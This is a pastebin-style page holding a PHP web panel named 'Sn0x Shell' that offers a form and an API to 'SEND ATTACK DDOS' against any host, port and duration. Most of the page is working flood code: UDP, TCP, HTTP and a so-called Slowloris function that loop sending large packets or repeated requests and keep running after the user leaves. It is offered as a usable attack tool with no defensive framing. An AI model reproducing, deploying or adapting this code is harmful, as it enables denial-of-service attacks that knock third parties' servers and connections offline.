Sn0x Shell - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 8:29 a.m.

FORMAT: PHP

SIZE: 23.4 kB

HITS: 4251

  1. <?php
  2. $type = $_GET['type'];
  3. $host = $_GET['host'];
  4. $time = $_GET['time'];
  5. $port = $_GET['port'];
  6. $page = $_GET['page'];
  7. $myna = $_SERVER[PHP_SELF];
  8. ?>
  9. <!DOCTYPE html>
  10. <html lang="en">
  11. <head>
  12. <meta charset="utf-8">
  13. <title>SN0X SHELL: WEEEEEEEEEEEEEEEEED</title>
  14. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  15. <meta name="description" content="">
  16. <meta name="author" content="">
  17. <!-- Le styles -->
  18. <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap.css" rel="stylesheet">
  19. <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap-responsive.css" rel="stylesheet">
  20. <link href="http://getbootstrap.com/2.3.2/assets/css/docs.css" rel="stylesheet">
  21. <link href="http://getbootstrap.com/2.3.2/assets/js/google-code-prettify/prettify.css" rel="stylesheet">
  22. <center>
  23. <b style="font-size:44px;"><font color="#009300">S</font><font color="#ffd700">n</font><font color="#ff0000">0x</font> SHELL</b>
  24. <br><br>
  25. </center>
  26. <div class="well">
  27. <center>
  28. <?php if(empty($_GET['type'])) { ?><br>SEND ATTACK DDOS<br><br>
  29. <form action="" method="get">
  30. <input type="text" name="host" placeholder="HOST"><br>
  31. <input type="text" name="port" placeholder="PORT"><br>
  32. <input type="text" name="time" placeholder="TIME"><br>
  33. <select name="type">
  34. <optgroup label="Methodes 1">
  35. <option value="UDP">UDP</option>
  36. <option value="TCP">TCP</option>
  37. <option value="HTTP">HTTP</option>
  38. <option value="SLOWLORIS">SLOWLORIS</option>
  39. </opt>
  40. <optgroup label="Methodes 2">
  41. <option value="UDP">HOME CONNECTION</option>
  42. <option value="TCP">SSYN</option>
  43. <option value="HTTP">WEBSITE CRASH</option>
  44. <option value="SLOWLORIS">WEBSITE CRASH SLOW</option>
  45. </opt>
  46. </select><br>
  47. <input type="submit" class="btn" value="START ATTACK!">
  48. </form>
  49. <form action="" method="get">
  50. <input type="submit" name="" class="btn" value="STOP CURRENT ATTACK!">
  51. </form>
  52. <small>API FORMAT: index.php?host=[host]&port=[port]&time=[time]&type=[method (UDP/TCP/HTTP/SLOWLORIS)]</small>
  53. <?php } ?>
  54. <?php
  55. $type = $_GET['type'];
  56. $host = $_GET['host'];
  57. $time = $_GET['time'];
  58. $port = $_GET['port'];
  59. $page = $_GET['page'];
  60. $myna = $_SERVER[PHP_SELF];
  61. if ( isset( $_GET['type'] ) )
  62. {
  63. $type = $_GET['type'];
  64. $host = $_GET['host'];
  65. $time = $_GET['time'];
  66. $port = $_GET['port'];
  67. $page = $_GET['page'];
  68. $myna = $_SERVER[PHP_SELF];
  69. if ( $type == "UDP" )
  70. {
  71. if ( $_GET['host'] != '' && $_GET['time'] != '' )
  72. {
  73. $page .= UDP_FLOOD( $host , $time );
  74. }
  75. else
  76. {
  77. $page .= ' <b>UDP Flood</b><br /><br />' . "\n";
  78. $page .= ' <form action="' . $myna . '" method="get">' . "\n";
  79. $page .= ' <table class="text">' . "\n";
  80. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  81. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  82. $page .= ' </table>' . "\n";
  83. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  84. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  85. $page .= ' </form>' . "\n";
  86. }
  87. }
  88. elseif ( $type == "TCP" )
  89. {
  90. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['port'] != '' )
  91. {
  92. $page .= TCP_FLOOD ( $host , $port , $time );
  93. }
  94. else
  95. {
  96. $page .= ' <b>TCP Flood</b><br /><br />' . "\n";
  97. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  98. $page .= ' <table class="text">' . "\n";
  99. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  100. $page .= ' <tr><td>Port:</td><td><input type="text" style="width: 130px" name="port" ></td></tr>' . "\n";
  101. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  102. $page .= ' </table>' . "\n";
  103. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  104. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  105. $page .= ' </form>' . "\n";
  106. }
  107. }
  108. elseif ( $type == "HTTP" )
  109. {
  110. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  111. {
  112. $page .= HTTP_FLOOD ( $host , $page , $time );
  113. }
  114. else
  115. {
  116. $page .= ' <b>HTTP Flood</b><br /><br />' . "\n";
  117. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  118. $page .= ' <table class="text">' . "\n";
  119. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  120. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  121. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  122. $page .= ' </table>' . "\n";
  123. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  124. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  125. $page .= ' </form>' . "\n";
  126. }
  127. }
  128. elseif ( $type == "SLOWLORIS" )
  129. {
  130. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  131. {
  132. $page .= SLOWLORIS ( $host , $page , $time );
  133. }
  134. else
  135. {
  136. $page .= ' <b>Slowloris</b><br /><br />' . "\n";
  137. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  138. $page .= ' <table class="text">' . "\n";
  139. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  140. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  141. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  142. $page .= ' </table>' . "\n";
  143. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  144. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  145. $page .= ' </form>' . "\n";
  146. }
  147. }
  148. else
  149. {
  150. }
  151. }
  152. else
  153. {
  154. }
  155. $page .= ' <br /></div>' . "\n";
  156. $page .= ' </body>' . "\n";
  157. $page .= '</html>' . "\n";
  158. print$page;
  159. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  160. // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  161. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  162. function UDP_Flood( $host , $length )
  163. {
  164. ignore_user_abort(TRUE);
  165. set_time_limit(0);
  166. $max_time = time() + $length;
  167. $packet = "";
  168. $packets = 0;
  169. while( strlen ( $packet ) < 65000 )
  170. {
  171. $packet .= Chr( 255 );
  172. }
  173. while( 1 )
  174. {
  175. if ( time() > $max_time )
  176. {
  177. break;
  178. }
  179. $rand = rand( 1 , 65535 );
  180. @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
  181. if( $fp )
  182. {
  183. fwrite( $fp , $packet );
  184. fclose( $fp );
  185. $packets++;
  186. }
  187. }
  188. if ( $packets == 0 )
  189. {
  190. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  191. $rtn .= '<table class="text">' . "\n";
  192. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  193. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  194. $rtn .= '</table>' . "\n";
  195. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  196. }
  197. else
  198. {
  199. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  200. $rtn .= '<table class="text">' . "\n";
  201. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  202. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  203. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  204. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  205. $rtn .= '</table>' . "\n";
  206. }
  207. return$rtn;
  208. }
  209. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  210. // TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  211. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  212. function TCP_Flood( $host , $port , $length )
  213. {
  214. ignore_user_abort(TRUE);
  215. set_time_limit(0);
  216. $max_time = time() + $length;
  217. $packet = "";
  218. $packets = 0;
  219. while( strlen ( $packet ) < 65000 )
  220. {
  221. $packet .= Chr( 255 );
  222. }
  223. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  224. while( 1 )
  225. {
  226. if ( time() > $max_time )
  227. {
  228. break;
  229. }
  230. if( $fp )
  231. {
  232. fwrite( $fp , $packet );
  233. fclose( $fp );
  234. $packets++;
  235. }
  236. else
  237. {
  238. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  239. }
  240. }
  241. if ( $packets == 0 )
  242. {
  243. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  244. $rtn .= '<table class="text">' . "\n";
  245. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  246. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  247. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  248. $rtn .= '</table>' . "\n";
  249. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  250. }
  251. else
  252. {
  253. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  254. $rtn .= '<table class="text">' . "\n";
  255. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  256. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  257. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  258. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  259. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  260. $rtn .= '</table>' . "\n";
  261. }
  262. return$rtn;
  263. }
  264. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  265. // HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
  266. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  267. function HTTP_Flood( $host , $page , $length )
  268. {
  269. ignore_user_abort(TRUE);
  270. set_time_limit(0);
  271. if ( $page == '' )
  272. {
  273. $page = '/';
  274. }
  275. $max_time = time() + $length;
  276. $packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
  277. $packet .= 'Host: ' . $host . "\r\n";
  278. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  279. $packet .= 'Keep-alive: 300' . "\r\n";
  280. $packet .= 'Connection: keep-alive' . "\r\n\r\n";
  281. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  282. while( 1 )
  283. {
  284. if ( time() > $max_time )
  285. {
  286. break;
  287. }
  288. if( $fp )
  289. {
  290. fwrite( $fp , $packet );
  291. fclose( $fp );
  292. $packets++;
  293. }
  294. else
  295. {
  296. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  297. }
  298. }
  299. if ( $packets == 0 )
  300. {
  301. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  302. $rtn .= '<table class="text">' . "\n";
  303. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  304. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  305. $rtn .= '</table>' . "\n";
  306. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  307. }
  308. else
  309. {
  310. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  311. $rtn .= '<table class="text">' . "\n";
  312. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  313. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  314. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  315. $rtn .= '</table>' . "\n";
  316. }
  317. return$rtn;
  318. }
  319. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  320. // SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
  321. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  322. function SLOWLORIS( $host , $page , $length )
  323. {
  324. ignore_user_abort(TRUE);
  325. set_time_limit(0);
  326. if ( $page == '' )
  327. {
  328. $page = '/';
  329. }
  330. $max_time = time() + $length;
  331. $packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
  332. $packet .= 'Host: ' . $host . "\r\n";
  333. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  334. $packet .= 'Content-length: 42' . "\r\n\r\n";
  335. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  336. while( 1 )
  337. {
  338. if ( time() > $max_time )
  339. {
  340. break;
  341. }
  342. if( $fp )
  343. {
  344. fwrite( $fp , $packet );
  345. fclose( $fp );
  346. $packets++;
  347. }
  348. else
  349. {
  350. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  351. }
  352. }
  353. if ( $packets == 0 )
  354. {
  355. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  356. $rtn .= '<table class="text">' . "\n";
  357. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  358. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  359. $rtn .= '</table>' . "\n";
  360. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  361. }
  362. else
  363. {
  364. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  365. $rtn .= '<table class="text">' . "\n";
  366. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  367. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  368. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  369. $rtn .= '</table>' . "\n";
  370. }
  371. return$rtn;
  372. }
  373. ?>
  374. </center>
  375. </div>

comments powered by Disqus